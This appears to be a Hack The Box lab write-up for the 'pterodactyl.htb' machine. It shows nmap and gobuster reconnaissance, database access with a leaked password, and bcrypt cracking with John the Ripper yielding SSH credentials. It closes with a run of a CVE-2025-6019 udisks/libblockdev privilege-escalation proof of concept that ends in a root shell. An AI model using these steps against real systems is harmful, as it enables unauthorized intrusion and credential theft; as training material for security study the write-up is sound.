From the results, we can see that we have a SSH and a web server pointing towards a domain named pterodactyl.htb
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
| 256 a3741ea3ad02140100e6abb4188416e0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOouXDOkVrDkob+tyXJOHu3twWDqor3xlKgyYmLIrPasaNjhBW/xkGT2otP1zmnkTUyGfzEWZGkZB2Jkaivmjgc=
| 256 65c833177ad6523d63c3e4a960642dcc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTXNuX5oJaGQJfvbga+jM+14w5ndyb0DN0jWJHQCDd9
80/tcp open http syn-ack ttl 63 nginx 1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/
|_http-server-header: nginx/1.21.5
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
So, we can go ahead and add that into our /etc/hosts
10.129.19.39 pterodactyl.htb
Visiting the website, looks like you average advertisement for a Minecraft server.
Since it’s a Minecraft server, then some sort of admin panel could exist here.
After all, Pterodactyl is also the name for a dashboard that can be used for game servers, which includes Minecraft
I will go ahead and run a gobuster instance to find anything
gobuster dir -w `fzf-wordlists` -u http://pterodactyl.htb
While that goes, we are able to find a changelog with some more juicy information
MonitorLand - CHANGELOG.txt
======================================
Version 1.20.X
[Added] Main Website Deployment
--------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.
[Linked] Subdomain Configuration
--------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.
[Installed] Pterodactyl Panel v1.11.10
--------------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
- PHP with required extensions.
- MariaDB 11.8.3 backend.
[Enhanced] PHP Capabilities
-------------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()
Doing research, we learn that this version of Pterodactyl does have a vulnerability in it, that allows for remote code execution
However, it appears that we need a SSH connection for most PoCs, so we need to jump onto a system user
So, I will go ahead and log into the database again, and it worked!
wwwrun@pterodactyl:/var/www/pterodactyl> mariadb -h 127.0.0.1 -u pterodactyl -p panel
<actyl> mariadb -h 127.0.0.1 -u pterodactyl -p panel
Enter password: PteraPanel
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 93
Server version: 11.8.3-MariaDB MariaDB package
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [panel]>
So, now I will go ahead and see if I can find any user tables
I am able to pull out the passwords for these, but they are hashed.
These appear to be bcrypt hashes, so we will need to crack these somehow
We can use John the Ripper here for this
john --wordlist=`fzf-wordlists` --format=bcrypt headmonitor_hash
john --wordlist=`fzf-wordlists` --format=bcrypt phileasfogg3_hash
However, I am going to try phileasfogg3 first since that is where I found the user flag first
I was able to find their password!
[Feb 13, 2026 - 20:54:20 (PST)] exegol-htb-season Hashes # john --wordlist=`fzf-wordlists` --format=bcrypt phileasfogg3_hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 32 OpenMP threads
Note: Passwords longer than 24 [worst case UTF-8] to 72 [ASCII] truncated (property of the hash)
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
!QAZ2wsx (?)
1g 0:00:00:11 DONE (2026-02-13 20:55) 0.08511g/s 1201p/s 1201c/s 1201C/s gerber..aminah
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
With this information, we now have one set of full credentials
phileasfogg3:!QAZ2wsx
So, with this information, I will try to SSH into the machine now, and this works!
[Feb 13, 2026 - 20:55:52 (PST)] exegol-htb-season Hashes # ssh phileasfogg3@10.129.5.98
The authenticity of host '10.129.5.98 (10.129.5.98)' can't be established.
ED25519 key fingerprint is SHA256:FOOqnHbybkpXftYgyrorbBxkgW0L4yMSLYxG8F87SDE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.5.98' (ED25519) to the list of known hosts.
(phileasfogg3@10.129.5.98) Password:
Have a lot of fun...
Last login: Sat Feb 14 06:57:01 2026 from 10.10.14.127
phileasfogg3@pterodactyl:~>
Alright, cool! Now, we are able to use our priv-esc exploit now.
First we need to setup the environment first, which we can do using this
We can then generate our image, and then transfer that plus the script onto the system.
We can then run it to take advantage of the exploit and get a root shell
phileasfogg3@pterodactyl:/tmp> ./exploit.sh
PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? [y/N]: y
[*] Checking for vulnerable libblockdev/udisks versions...
[*] Detected udisks version: unknown
[!] Warning: Specific vulnerable versions for CVE-2025-6019 are unknown.
[!] Verify manually that the target system runs a vulnerable version of libblockdev/udisks.
[!] Continuing with PoC execution...
Select mode:
[L]ocal: Create 300 MB XFS image (requires root)
[C]ible: Exploit target system
[L]ocal or [C]ible? (L/C): C
[+] All dependencies are installed.
[*] Starting exploitation on target machine...
[*] Checking allow_active status...
[+] allow_active status confirmed.
[*] Verifying xfs.image integrity...
[*] Stopping gvfs-udisks2-volume-monitor...
[*] Note: gvfs-udisks2-volume-monitor was not running.
[*] Setting up loop device...
[+] Loop device configured: /dev/loop0
[*] Keeping filesystem busy to prevent unmounting...
[+] Background loop started (PID: 11090)
[*] Resizing filesystem to trigger mount...
[+] Mount successful (expected error: target is busy).
[*] Waiting 2 seconds for mount to stabilize...
[*] Checking for SUID bash in /tmp/blockdev*...
[+] SUID bash found: /tmp/blockdev.V2XXK3/bash
-rwsr-xr-x 1 root root 1012656 Feb 16 07:50 /tmp/blockdev.V2XXK3/bash
[*] Executing root shell...
bash-4.4# whoami
root